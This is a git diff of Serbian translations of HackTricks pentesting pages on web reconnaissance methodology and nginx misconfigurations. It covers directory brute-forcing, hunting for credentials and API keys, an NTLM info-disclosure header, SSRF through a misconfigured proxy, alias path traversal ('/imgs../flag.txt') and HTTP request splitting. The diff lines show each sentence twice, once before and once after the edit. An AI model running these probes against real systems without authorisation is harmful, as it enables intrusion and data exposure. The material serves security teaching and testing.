* Kako i gde su sačuvane **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisnička imena ili lozinke)? * Kako i gde su sačuvane **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisničkim imenima ili lozinkama)?
* Da li su **lozinke** u **običnom tekstu**, **kriptovane** ili koji **hash algoritam** se koristi? * Da li su **lozinke** u **običnom tekstu**, **kriptovane** ili koji **hash algoritam** se koristi?
* Da li se koristi neki **glavni ključ** za kriptovanje nečega? Koji **algoritam** se koristi? * Da li se koristi neki **glavni ključ** za kriptovanje nečega? Koji **algoritam** se koristi?
* Možete li **pristupiti bilo kojoj od ovih datoteka** iskorišćavajući neku ranjivost? * Možete li **pristupiti bilo kojoj od ovih datoteka** iskorišćavajući neku ranjivost?
* Da li postoji neka **zanimljiva informacija na github-u** (rešeni i nerešeni) **problemi**? Ili u **istoriji commit-a** (možda neka **lozinka unesena unutar starog commita**)? * Da li postoji neka **zanimljiva informacija na github-u** (rešeni i nerešeni) **problemi**? Ili u **istoriji commit-a** (možda neka **lozinka uvedena unutar starog commita**)?
{% content-ref url="code-review-tools.md" %} {% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md) [code-review-tools.md](code-review-tools.md)
@ -250,7 +252,7 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
### Brute Force directories and files ### Brute Force directories and files
Započnite **brute-forcing** iz root foldera i budite sigurni da brute-forcujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** putem **Spidering-a** (možete ovo brute-forcing **rekurzivno** i dodati na početak korišćenog rečnika imena pronađenih direktorijuma).\ Započnite **brute-forcing** iz root foldera i budite sigurni da brute-force-ujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** putem **Spidering-a** (možete ovo brute-forcing **rekurzivno** i dodati na početak korišćenog rečnika imena pronađenih direktorijuma).\
Alati: Alati:
* **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivnu pretragu. Previše sporo u poređenju sa drugim opcijama. * **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivnu pretragu. Previše sporo u poređenju sa drugim opcijama.
@ -283,13 +285,13 @@ Alati:
* _/usr/share/wordlists/dirb/big.txt_ * _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ * _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Force-ovati._
### What to check on each file found ### What to check on each file found
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađite pokvarene linkove unutar HTML-a koji mogu biti podložni preuzimanju. * [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađite pokvarene linkove unutar HTML-a koji mogu biti podložni preuzimanju.
* **Backup datoteke**: Kada pronađete sve datoteke, potražite backup svih izvršnih datoteka ("_.php_", "_.aspx_"...). Uobičajene varijacije za imenovanje backup-a su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** * **Backup datoteke**: Kada pronađete sve datoteke, potražite backup svih izvršnih datoteka ("_.php_", "_.aspx_"...). Uobičajene varijacije za imenovanje backup-a su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **Otkrivanje novih parametara**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre u svakoj izvršnoj web datoteci. * **Otkrijte nove parametre**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre u svakoj izvršnoj web datoteci.
* _Arjun svi podrazumevani rečnici:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) * _Arjun svi podrazumevani rečnici:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) * _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
@ -297,8 +299,8 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga il
* **Komentari:** Proverite komentare svih datoteka, možete pronaći **akreditive** ili **skrivenu funkcionalnost**. * **Komentari:** Proverite komentare svih datoteka, možete pronaći **akreditive** ili **skrivenu funkcionalnost**.
* Ako se igrate **CTF**, "uobičajen" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice. * Ako se igrate **CTF**, "uobičajen" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice.
* **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). * **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
* Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-jeve ključ može pristupiti. * Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-je ključ može pristupiti.
* **S3 Buckets**: Tokom spideringa proverite da li je neki **subdomen** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/). * **S3 Buckets**: Tokom spidering-a proverite da li je neki **subdomen** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/).
### Special findings ### Special findings
@ -307,11 +309,11 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga il
**Zanimljive datoteke** **Zanimljive datoteke**
* Potražite **linkove** ka drugim datotekama unutar **CSS** datoteka. * Potražite **linkove** ka drugim datotekama unutar **CSS** datoteka.
* [Ako pronađete _**.git**_ datoteku, neke informacije mogu biti ekstraktovane](git.md). * [Ako pronađete _**.git**_ datoteku, neka informacija može biti ekstraktovana](git.md).
* Ako pronađete _**.env**_ informacije kao što su API ključevi, lozinke baza podataka i druge informacije mogu se pronaći. * Ako pronađete _**.env**_ informacije kao što su API ključevi, lozinke baza podataka i druge informacije mogu se pronaći.
* Ako pronađete **API krajnje tačke** [trebalo bi da ih testirate](web-api-pentesting.md). Ove nisu datoteke, ali će verovatno "izgledati kao" njih. * Ako pronađete **API krajnje tačke** [trebalo bi ih takođe testirati](web-api-pentesting.md). Ove nisu datoteke, ali će verovatno "izgledati kao" njih.
* **JS datoteke**: U sekciji spideringa pomenuti su nekoliko alata koji mogu ekstraktovati puteve iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.** * **JS datoteke**: U sekciji spidering pomenuti su nekoliko alata koji mogu ekstraktovati putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
* Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li je ranjiva. * Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li su ranjive.
* **Javascript Deobfuscator i Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator). * **Javascript Deobfuscator i Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org). * **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
* **JsFuck deobfuscation** (javascript sa karakterima:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)). * **JsFuck deobfuscation** (javascript sa karakterima:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
@ -327,12 +329,12 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga il
**502 Proxy Error** **502 Proxy Error**
Ako neka stranica **odgovori** sa tim **kodom**, verovatno je u pitanju **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF. Ako neka stranica **odgovori** sa tim **kodom**, verovatno je to **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
**NTLM Authentication - Info disclosure** **NTLM Authentication - Info disclosure**
Ako server koji radi traži autentifikaciju je **Windows** ili pronađete prijavu koja traži vaše **akreditive** (i traži **ime** **domena**), možete izazvati **otkrivanje informacija**.\ Ako server koji radi traži autentifikaciju je **Windows** ili pronađete prijavu koja traži vaše **akreditive** (i traži **ime** **domena**), možete izazvati **otkrivanje informacija**.\
**Pošaljite** **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji **NTLM autentifikacija funkcioniše**, server će odgovoriti sa internim informacijama (verzija IIS-a, verzija Windows-a...) unutar header-a "WWW-Authenticate".\ **Pošaljite** **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji **NTLM autentifikacija funkcioniše**, server će odgovoriti sa internim informacijama (IIS verzija, Windows verzija...) unutar header-a "WWW-Authenticate".\
Možete **automatizovati** ovo koristeći **nmap plugin** "_http-ntlm-info.nse_". Možete **automatizovati** ovo koristeći **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)** **HTTP Redirect (CTF)**
@ -355,13 +357,15 @@ Pronađite više informacija o web ranjivostima na:
### Monitor Pages for changes ### Monitor Pages for changes
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica za izmene koje bi mogle umetnuti ranjivosti. Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica zbog modifikacija koje bi mogle umetnuti ranjivosti.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_tečno poljski pisano i govorno potrebno_). #### Get a hacker's perspective on your web apps, network, and cloud
{% embed url="https://www.stmcyber.com/careers" %} **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### HackTricks Automatic Commands ### HackTricks Automatic Commands
``` ```

View file

@ -15,6 +15,10 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Zvanična stranica: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) Zvanična stranica: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
## Pristup ## Pristup
@ -46,6 +50,10 @@ U [**ovom postu**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)
}, },
[...] [...]
``` ```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Get a hacker's perspective on your web apps, network, and cloud
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -34,9 +36,9 @@ proxy_pass http://127.0.0.1:8080/;
} }
} }
``` ```
U ovoj konfiguraciji, `/etc/nginx` je označen kao korenski direktorijum. Ova postavka omogućava pristup datotekama unutar specificiranog korenskog direktorijuma, kao što je `/hello.txt`. Međutim, važno je napomenuti da je definisana samo specifična lokacija (`/hello.txt`). Nema konfiguracije za korensku lokaciju (`location / {...}`). Ova propuštena konfiguracija znači da se korenska direktiva primenjuje globalno, omogućavajući zahteve za korenskim putem `/` da pristupe datotekama pod `/etc/nginx`. U ovoj konfiguraciji, `/etc/nginx` je označen kao korenski direktorijum. Ova postavka omogućava pristup datotekama unutar specificiranog korenskog direktorijuma, kao što je `/hello.txt`. Međutim, važno je napomenuti da je definisana samo određena lokacija (`/hello.txt`). Nema konfiguracije za korensku lokaciju (`location / {...}`). Ova propuštena konfiguracija znači da se korenska direktiva primenjuje globalno, omogućavajući zahteve za korenskim putem `/` da pristupe datotekama pod `/etc/nginx`.
Kritična bezbednosna razmatranja proizilaze iz ove konfiguracije. Jednostavan `GET` zahtev, poput `GET /nginx.conf`, mogao bi otkriti osetljive informacije tako što bi poslužio Nginx konfiguracionu datoteku smeštenu na `/etc/nginx/nginx.conf`. Postavljanje korena na manje osetljiv direktorijum, poput `/etc`, moglo bi smanjiti ovaj rizik, ali i dalje može omogućiti nepredviđeni pristup drugim kritičnim datotekama, uključujući druge konfiguracione datoteke, logove pristupa, pa čak i enkriptovane akreditive korišćene za HTTP osnovnu autentifikaciju. Kritična bezbednosna razmatranja proizilaze iz ove konfiguracije. Jednostavan `GET` zahtev, poput `GET /nginx.conf`, mogao bi otkriti osetljive informacije tako što bi poslužio Nginx konfiguracionu datoteku smeštenu na `/etc/nginx/nginx.conf`. Postavljanje korena na manje osetljiv direktorijum, poput `/etc`, moglo bi umanjiti ovaj rizik, ali i dalje može omogućiti nepredviđeni pristup drugim kritičnim datotekama, uključujući druge konfiguracione datoteke, logove pristupa, pa čak i šifrovane akreditive korišćene za HTTP osnovnu autentifikaciju.
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a> ## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
@ -46,7 +48,7 @@ location /imgs {
alias /path/images/; alias /path/images/;
} }
``` ```
Ova konfiguracija je podložna LFI napadima zbog toga što server interpretira zahteve poput `/imgs../flag.txt` kao pokušaj pristupa datotekama van predviđene direktorijuma, što se efektivno rešava na `/path/images/../flag.txt`. Ova greška omogućava napadačima da preuzmu datoteke sa serverovog fajl sistema koje ne bi trebale biti dostupne putem veba. Ova konfiguracija je podložna LFI napadima zbog toga što server interpretira zahteve kao što je `/imgs../flag.txt` kao pokušaj pristupa datotekama van predviđene direktorijuma, što se efektivno rešava na `/path/images/../flag.txt`. Ova greška omogućava napadačima da preuzmu datoteke iz datotečnog sistema servera koje ne bi trebale biti dostupne putem veba.
Da bi se ublažila ova ranjivost, konfiguracija bi trebala biti prilagođena na: Da bi se ublažila ova ranjivost, konfiguracija bi trebala biti prilagođena na:
``` ```
@ -80,18 +82,18 @@ deny all;
[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md) [proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md)
{% endcontent-ref %} {% endcontent-ref %}
## Nepravilna upotreba varijabli / Deljenje HTTP zahteva <a href="#unsafe-variable-use" id="unsafe-variable-use"></a> ## Nepravilna upotreba varijabli / HTTP Request Splitting <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
{% hint style="danger" %} {% hint style="danger" %}
Ranljive varijable `$uri` i `$document_uri` i ovo se može ispraviti zamenom sa `$request_uri`. Ranljive varijable `$uri` i `$document_uri` i ovo se može ispraviti zamenom sa `$request_uri`.
Regex može takođe biti ranjiv kao: Regex može biti takođe ranjiv kao:
`location ~ /docs/([^/])? { … $1 … }` - Ranjiv&#x20; `location ~ /docs/([^/])? { … $1 … }` - Ranljivo&#x20;
`location ~ /docs/([^/\s])? { … $1 … }` - Nije ranjiv (proverava razmake) `location ~ /docs/([^/\s])? { … $1 … }` - Nije ranjivo (proverava razmake)
`location ~ /docs/(.*)? { … $1 … }` - Nije ranjiv `location ~ /docs/(.*)? { … $1 … }` - Nije ranjivo
{% endhint %} {% endhint %}
Ranjivost u Nginx konfiguraciji je prikazana u sledećem primeru: Ranjivost u Nginx konfiguraciji je prikazana u sledećem primeru:
@ -146,7 +148,7 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
``` ```
### Any variable ### Any variable
Otkriveno je da **podaci koje unosi korisnik** mogu biti tretirani kao **Nginx varijabla** pod određenim okolnostima. Uzrok ovog ponašanja ostaje donekle nejasan, ali nije retko niti jednostavno za verifikaciju. Ova anomalija je istaknuta u bezbednosnom izveštaju na HackerOne, koji se može pogledati [ovde](https://hackerone.com/reports/370094). Dalja istraga o poruci greške dovela je do identifikacije njenog pojavljivanja unutar [SSI filter modula Nginx-ove kodne baze](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), ukazujući na Server Side Includes (SSI) kao osnovni uzrok. Otkriveno je da **podaci koje unosi korisnik** mogu biti tretirani kao **Nginx varijabla** pod određenim okolnostima. Uzrok ovog ponašanja ostaje donekle nejasan, ali nije retko niti jednostavno za verifikaciju. Ova anomalija je istaknuta u bezbednosnom izveštaju na HackerOne, koji se može pogledati [ovde](https://hackerone.com/reports/370094). Dalja istraga o poruci greške dovela je do identifikacije njenog pojavljivanja unutar [SSI filter modula Nginx-ove kodne baze](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), ukazujući na Server Side Includes (SSI) kao osnovni uzrok.
Da bi se **otkrila ova pogrešna konfiguracija**, može se izvršiti sledeća komanda, koja uključuje postavljanje referer zaglavlja za testiranje štampanja varijable: Da bi se **otkrila ova pogrešna konfiguracija**, može se izvršiti sledeća komanda, koja uključuje postavljanje referer zaglavlja za testiranje štampanja varijable:
```bash ```bash
@ -172,7 +174,7 @@ proxy_intercept_errors on;
proxy_hide_header Secret-Header; proxy_hide_header Secret-Header;
} }
``` ```
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Ova direktiva omogućava Nginxu da pruži prilagođeni odgovor za pozadinske odgovore sa status kodom većim od 300. Osigurava da, za naš primer uWSGI aplikacije, `500 Error` odgovor bude presretnut i obrađen od strane Nginxa. * [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Ova direktiva omogućava Nginxu da pruži prilagođeni odgovor za pozadinske odgovore sa status kodom većim od 300. Osigurava da, za naš primer uWSGI aplikacije, odgovor `500 Error` bude presretnut i obrađen od strane Nginxa.
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Kao što ime sugeriše, ova direktiva skriva određene HTTP zaglavlja od klijenta, poboljšavajući privatnost i sigurnost. * [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Kao što ime sugeriše, ova direktiva skriva određene HTTP zaglavlja od klijenta, poboljšavajući privatnost i sigurnost.
Kada se izvrši važeći `GET` zahtev, Nginx ga obrađuje normalno, vraćajući standardni odgovor o grešci bez otkrivanja bilo kakvih tajnih zaglavlja. Međutim, nevažeći HTTP zahtev zaobilazi ovaj mehanizam, što rezultira izlaganjem sirovih pozadinskih odgovora, uključujući tajna zaglavlja i poruke o grešci. Kada se izvrši važeći `GET` zahtev, Nginx ga obrađuje normalno, vraćajući standardni odgovor o grešci bez otkrivanja bilo kakvih tajnih zaglavlja. Međutim, nevažeći HTTP zahtev zaobilazi ovaj mehanizam, što rezultira izlaganjem sirovih pozadinskih odgovora, uključujući tajna zaglavlja i poruke o grešci.
@ -181,13 +183,13 @@ Kada se izvrši važeći `GET` zahtev, Nginx ga obrađuje normalno, vraćajući
Podrazumevano, Nginxova **`merge_slashes` direktiva** je postavljena na **`on`**, što kompresuje više uzastopnih kose crte u URL-u u jednu kosu crtu. Ova funkcija, iako pojednostavljuje obradu URL-a, može nenamerno prikriti ranjivosti u aplikacijama iza Nginxa, posebno onima koje su podložne napadima lokalnog uključivanja datoteka (LFI). Stručnjaci za bezbednost **Danny Robinson i Rotem Bar** su istakli potencijalne rizike povezane sa ovim podrazumevanjem, posebno kada Nginx deluje kao obrnuti proxy. Podrazumevano, Nginxova **`merge_slashes` direktiva** je postavljena na **`on`**, što kompresuje više uzastopnih kose crte u URL-u u jednu kosu crtu. Ova funkcija, iako pojednostavljuje obradu URL-a, može nenamerno prikriti ranjivosti u aplikacijama iza Nginxa, posebno onima koje su podložne napadima lokalnog uključivanja datoteka (LFI). Stručnjaci za bezbednost **Danny Robinson i Rotem Bar** su istakli potencijalne rizike povezane sa ovim podrazumevanjem, posebno kada Nginx deluje kao obrnuti proxy.
Da bi se umanjili takvi rizici, preporučuje se **isključivanje `merge_slashes` direktive** za aplikacije koje su podložne ovim ranjivostima. Ovo osigurava da Nginx prosledi zahteve aplikaciji bez izmene strukture URL-a, čime se ne prikrivaju nikakvi osnovni bezbednosni problemi. Da bi se umanjili takvi rizici, preporučuje se **isključivanje `merge_slashes` direktive** za aplikacije koje su podložne ovim ranjivostima. To osigurava da Nginx prosledi zahteve aplikaciji bez izmene strukture URL-a, čime se ne prikrivaju nikakvi osnovni bezbednosni problemi.
Za više informacija pogledajte [Danny Robinson i Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d). Za više informacija pogledajte [Danny Robinson i Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
### **Maclicious Response Headers** ### **Maclicious Response Headers**
Kao što je prikazano u [**ovoj analizi**](https://mizu.re/post/cors-playground), postoje određena zaglavlja koja, ako su prisutna u odgovoru sa web servera, menjaju ponašanje Nginx proxy-a. Možete ih proveriti [**u dokumentaciji**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/): Kao što je prikazano u [**ovoj analizi**](https://mizu.re/post/cors-playground), postoje određena zaglavlja koja, ako su prisutna u odgovoru sa web servera, mogu promeniti ponašanje Nginx proxy-a. Možete ih proveriti [**u dokumentaciji**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
* `X-Accel-Redirect`: Ukazuje Nginxu da interno preusmeri zahtev na određenu lokaciju. * `X-Accel-Redirect`: Ukazuje Nginxu da interno preusmeri zahtev na određenu lokaciju.
* `X-Accel-Buffering`: Kontroliše da li Nginx treba da kešira odgovor ili ne. * `X-Accel-Buffering`: Kontroliše da li Nginx treba da kešira odgovor ili ne.
@ -195,7 +197,7 @@ Kao što je prikazano u [**ovoj analizi**](https://mizu.re/post/cors-playground)
* `X-Accel-Expires`: Postavlja vreme isteka za odgovor kada se koristi X-Accel-Redirect. * `X-Accel-Expires`: Postavlja vreme isteka za odgovor kada se koristi X-Accel-Redirect.
* `X-Accel-Limit-Rate`: Ograničava brzinu prenosa za odgovore kada se koristi X-Accel-Redirect. * `X-Accel-Limit-Rate`: Ograničava brzinu prenosa za odgovore kada se koristi X-Accel-Redirect.
